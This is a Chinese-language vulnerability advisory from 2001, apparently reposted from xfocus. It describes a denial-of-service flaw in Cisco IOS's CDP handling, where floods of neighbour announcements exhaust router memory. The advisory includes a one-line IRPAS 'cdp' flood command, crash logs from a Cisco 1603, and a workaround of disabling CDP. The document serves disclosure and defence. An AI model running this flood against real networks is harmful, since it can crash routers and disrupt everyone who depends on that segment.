使用CDP协议的CISCO IOS系统存在拒绝服务攻击(from xfocus)

使用CDP协议的CISCO IOS系统存在拒绝服务攻击


发布时间:2001-10-10
更新时间:2001-10-10
严重程度:
威胁程度:远程拒绝服务
错误类型:设计错误
利用方式:服务器模式

受影响系统
Cisco 1005    IOS 11.1.*
Cisco 1603    IOS 11.2, 11.3.11b
Cisco 2503    IOS 12.0.19
Cisco 2600    IOS 12.1.?
Catalyst 2940XL    IOS 12.0(5.1)XP
详细描述
使用Cisco Discovery Protocol(CDP)协议的CISCO ISO系统存在拒绝服务攻击。

当大量使用CDP neighbor announcements,ISOISO会消耗所有内存来存储邻居
信息,设备就不能执行其他如路由更新或者接受telnet连接操作。

CDP协议是第二层协议因此独立于第三层协议,CISCO 设备定期发送更新来使自身
知道它的邻居,因为其是工作在第二层的协议,这些帧不会被路由,这样发送给
Ethernet的更新将是一个多播地址01:00:0C:CC:CC:CC。

如果cisco 设备从另一个设备中接收到CDP 帧,它会拷贝这些内容到内部数据结构,
你可以通过"show cdp neighbors"命令来查看信息。这些信息包括设备ID,兼容性,
平台和发送者端口ID。CDP 帧中也包含hold timer值来告诉邻居丢弃该信息的维持
时间,最大值为225秒。

内部数据结构看起来使用远程设备ID作为KEY,当接受到2个同样的但长的设备ID时,
一些IOS版本将不能作为同一设备ID表识并独立存储。

当使用大的包含随机设备ID和来自随机数据连接地址的CDP帧来大量冲刷网络段
时,不同的IOS版本会有不同的反映,一般包括:

+ 在3到5个帧接受到后重新启动
+ 在数千个帧后停止工作
+ 使用所有可用内存来存储CDP邻居信息知道hold timer值过期。

当内存被消耗过多时,CISCO设备将不能操作其他路由等服务。

测试代码
要发送CDP信息,你可以使用Phenoelit IRPAS工具包的中CDP 发送工具:

linuxbox# ./cdp -i eth0 -m0 -n 100000 -l 1480 -r -v

(小心使用,所有有此漏洞并在数据链路多播域中的CISCO设备都会受到影响)

Reaction of a Cisco 1603 / IOS 11.2(4):

    radio#
    %SYS-2-MALLOCFAIL: Memory allocation of 1480 bytes failed from
    0x81B3BE6, pool Processor, alignment 0
    -Process= "CDP Protocol", ipl= 0, pid= 9
    -Traceback= 80ABDCC 80ACF46 81B3BEE 81B3B72 81B276A 81B224C
    radio#
    %SYS-2-MALLOCFAIL: Memory allocation of 96 bytes failed from
    0x81B26D2, pool Processor, alignment 0
    -Process= "CDP Protocol", ipl= 0, pid= 9
    -Traceback= 80ABDCC 80ACF46 81B26DA 81B224C
    %SYS-2-MALLOCFAIL: Memory allocation of 96 bytes failed from
    0x81B26D2, pool Processor, alignment 0
    -Process= "CDP Protocol", ipl= 0, pid= 9
    -Traceback= 80ABDCC 80ACF46 81B26DA 81B224C
    radio#sh ?
    % Unrecognized command
    radio#show ?
    % Unrecognized command
    radio#


    Reaction after 'debug cdp packets':

    %Log packet overrun, potential memory corruption, PC 0x81B2720, format:
    %s
    %Log packet overrun, potential memory corruption, PC 0x81B2720, format:
    %s
    ....[lots of these].....
    %Log packet overrun, potential memory corruption, PC 0x81B2720, format:
    %s
    %Log packet overrun, potential memory corruption, PC 0x81B2720, format:
    %s

    *** BUS ERROR ***
    access address = 0x5f227998
    program counter = 0x80ad45a
    status register = 0x2700
    vbr at time of exception = 0x4000000
    special status word = 0x0045
    faulted cycle was a longword read

    monitor: command "boot" aborted due to exception


    System Bootstrap, Version .....
    Copyright (c) 1994-1996 by cisco Systems, Inc.
    C1600 processor with 2048 Kbytes of main memory

    program load complete, entry point: 0x4018060, size: 0x1da950

解决方案
临时方法:配置'no cdp run' 命令关闭CDP协议,或者更新IOS版本。

相关信息
发现者:
FX        <fx@phenoelit.de>
FtR         <ftr@phenoelit.de>
kim0        <kim0@phenoelit.de>
smoovB        <not disclosed>
Phenoelit Group    ( http://www.phenoelit.de)

参考资料: http://www.phenoelit.de/stuff/CiscoCDP.txt
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值